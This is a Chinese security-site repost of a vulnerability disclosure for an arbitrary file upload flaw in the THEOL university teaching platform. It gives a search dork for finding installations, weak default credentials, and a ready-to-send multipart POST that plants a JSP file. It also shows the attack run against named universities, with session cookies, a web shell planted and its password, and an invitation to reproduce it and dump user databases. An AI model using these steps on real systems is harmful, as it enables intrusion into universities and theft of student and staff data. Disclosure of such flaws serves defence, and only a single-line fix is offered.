频道栏目
首页 > 安全 > 网站安全 > 正文
THEOL网络教学综合平台通用型任意文件上传
2015-01-28 10:10:33         来源:路人甲  
收藏   我要投稿

系统某处存在任意文件上传,可脱裤

系统全名"THEOL清华教育在线"网络教学综合平台,由清华大学教育技术研究所提供技术支持,其部署在全国大部分高校,用作选课、评分、在线考试等



关键字:

inurl:eol/homepage/common/

或:欢迎进入网络教学综合平台
 

QQ截图20141217214445.jpg





1#以任意身份帐号登录该系统

帐号例:

teacher

theol_teacher

teacher_p

theol_student

以及百度到的学号

密码:

123456

000000

以及百度到的学号



2#在课程描述的教学录像处存在任意上传

页面:

https://*/eol/popups/jpkrecord/upload_file.jsp?courseId=*

其代码中有对用户的权限进行判断,如果登录的是普通权限帐号则返回错误,如果登录admin帐号则判断其它

if (!um.checkPermission(User.USER_PERM_JPKADMIN_BASIC)&&(column.getCourse().getCourseRecordOperational()== JPKConstant.COLUMN_OPERATIONAL_FALSE||um.getID()!=column.getCourse().getInstructorId()))
        throw new JspException("您没有权限!");
....省略n行
<form action="<%=um.checkPermission(User.USER_PERM_JPKADMIN_BASIC)?response.encodeURL("admin_receive.jsp"):response.encodeURL("receive.jsp")%>" enctype="multipart/form-data" method="post" name="uploadForm" id="uploadForm" >





好了我们不管,直接看上传调用页面receive.jsp,

https://*/eol/popups/jpkrecord/receive.jsp

其代码中仅判断用户是否有效,甚至还有莫名奇妙的注释

<%

    UserManager um =  (UserManager)session.getAttribute("um");
    if (!um.checkPermission(User.USER_PERM_USER_BASIC))
        throw new JspException("您没有权限!");

%>
...省略
//    fu.setAllowFiles(".txt;.jpg;.bmp;.rm;.rmvb;.htm;.exe;.avi");



正常能够登录的用户权限均为4098 状态值4098 
 

QQ截图20141217224753.jpg



具体可以参考(不同版本路径可能不同)

eol/web/WEB-INF/classes/net/theol/projects/eol2004/user.class



 

QQ截图20141217225118.jpg





即,只要用任意一个允许登录系统的帐号登录系统后,直接通过POST以下数据,即可将马传至服务器,注意替换相应“*”位置

POST https://*/eol/popups/jpkrecord/receive.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://*/eol/popups/jpkrecord/upload_file.jsp?columnId=7262
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7de1fc3b1c0c26
Accept-Encoding: gzip, deflate
Host: *
Content-Length: 420
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=*; helpperm=95

-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="rd"

columnId=7262
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="fileid"; filename="1.jsp"
Content-Type: application/octet-stream

test
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="addFile"

?? ??
-----------------------------7de1fc3b1c0c26--

 

以东华理工大学为例:(theol_student/123456)

https://eol.ecit.cn/eol/homepage/common/opencourse/



 

QQ截图20141217230353.jpg



访问地址:

https://eol.ecit.cn/eol/data/jpk/0/1.jsp

 

QQ截图20141217230736.jpg

 

POST https://eol.ecit.cn/eol/popups/jpkrecord/receive.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://eol.ecit.cn/eol/popups/jpkrecord/upload_file.jsp?columnId=7262
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7de1fc3b1c0c26
Accept-Encoding: gzip, deflate
Host: eol.ecit.cn
Content-Length: 410
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=A95906ABE55FCFDB9CAAFC5FB538181F.T5; JSESSIONID=6DA317CE3259325E42057DBCF09825C3.T5; helpperm=95

-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="rd"

columnId=7262
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="fileid"; filename="1.jsp"
Content-Type: application/octet-stream

test
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="addFile"

?? ??
-----------------------------7de1fc3b1c0c26--



上刀:

https://eol.ecit.cn/eol/data/jpk/0/2.jsp(sqzr)

 

QQ截图20141217231359.jpg





至于怎么脱裤,大家都会,就不说了。

以下案例供复现:

厦门大学course.xmu.edu.cn:(theol_teacher/123456)

https://course.xmu.edu.cn/meol/data/jpk/0/wooyun.jsp

 

QQ截图20141217231631.jpg


 

QQ截图20141217231839.jpg


 

QQ截图20141217231858.jpg





备注:脱裤马要用POST传才可正常访问

解决方案:

上传点做好过滤吧,弱口令就爱莫能助了,密码最好不要明文存在EOL_USER表里

点击复制链接 与好友分享!回本站首页
上一篇:E-learning在线学习平台cookie#SQL注入
下一篇:ThinkPHP最新版本SQL注入漏洞
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站